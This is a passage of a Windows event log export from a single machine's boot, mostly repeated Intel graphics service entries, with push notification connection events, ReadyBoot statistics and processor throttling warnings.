08:29:47.869\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.010\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.153\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.301\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.341\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:48.341\t1205\tWNP Transport Layer Disconnect call initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:48.551\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.695\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.865\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.011\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.155\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.295\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.444\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.519\t1015\t\"Summary of ReadyBoot Performance:\n     Io Read Count: 80015\n     Io Read Bytes: 2961868800\n     Cache Hit Count: 68900\n     Cache Hit Bytes: 1361488896\n     Cache Hit Percentage: 86.1088545897644\n     Boot Prefetch Time (us): 5546339\n     Boot Prefetch Bytes: 1660579840\n     Boot Prefetch Read Count: 40917\n     Flags: 98\n     Sync Prefetch IO Bytes: 0\n     Sync Prefetch IO Count: 0\n     Sync Prefetch Duration (us): 1\n     Post Sync Phase Pend Count: 12\n\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:29:49.703\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:49.855\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.014\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.267\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.520\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.665\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.807\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:50.858\t1016\t\"Boot plan calculation completed in 2406 ms.\n     Boot Plan Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:29:48.432219400Z\n     Reason: System boot completion\n     Result: 0x0\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:29:50.953\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.096\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.244\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.498\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.642\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.784\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:51.840\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.840\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.840\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.847\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.852\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.863\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.864\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.864\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:51.931\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.186\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.332\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.489\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.635\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:52.888\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.030\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.177\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.321\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.466\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.613\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:53.866\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.012\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.266\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.411\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.557\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.807\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:54.955\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.211\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.465\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.613\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:55.869\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.124\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.375\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.520\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.664\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.807\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:56.957\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.207\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.354\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.497\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.551\t61\tIs the Battery Saver state enabled: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:57.648\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.800\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:57.941\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.093\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.240\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.385\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.634\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:58.781\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.034\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.178\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.317\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.465\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.608\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.750\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:59.894\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.043\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.296\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.441\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.579\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.639\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.639\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.641\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.641\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:00.732\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:00.982\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.128\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.274\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.437\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.471\t37\tThe speed of processor 5 in group 0 is being limited by system firmware. The processor has been in this reduced performance state for 71 seconds since the last report.\tWarning\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:30:01.487\t37\tThe speed of processor 9 in group 0 is being limited by system firmware. The processor has been in this reduced performance state for 71 seconds since the last report.\tWarning\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:30:01.614\t37\tThe speed of processor 17 in group 0 is being limited by system firmware. The processor has been in this reduced performance state for 71 seconds since the last report.\tWarning\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:30:01.688\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.834\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:01.977\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.118\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.266\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.321\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Cimwin32A, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:30:02.322\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, 